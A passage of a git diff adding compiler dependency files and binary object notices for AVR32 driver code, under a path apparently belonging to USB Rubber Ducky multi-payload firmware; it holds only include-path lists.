../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h \ + ../src/asf/avr32/drivers/intc/intc.h + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/drivers/intc/intc.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/intc.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/intc.o new file mode 100644 index 0000000..9238fcd Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/intc.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm.d new file mode 100644 index 0000000..6b8d25b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm.d @@ -0,0 +1,155 @@ +src/asf/avr32/drivers/pm/pm.d src/asf/avr32/drivers/pm/pm.o: \ + ../src/asf/avr32/drivers/pm/pm.c ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/asf/avr32/drivers/pm/pm.h + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/drivers/pm/pm.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm.o new file mode 100644 index 0000000..eb3138a Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm_conf_clocks.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm_conf_clocks.d new file mode 100644 index 0000000..b7b810f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm_conf_clocks.d @@ -0,0 +1,163 @@ +src/asf/avr32/drivers/pm/pm_conf_clocks.d \ + src/asf/avr32/drivers/pm/pm_conf_clocks.o: \ + ../src/asf/avr32/drivers/pm/pm_conf_clocks.c \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 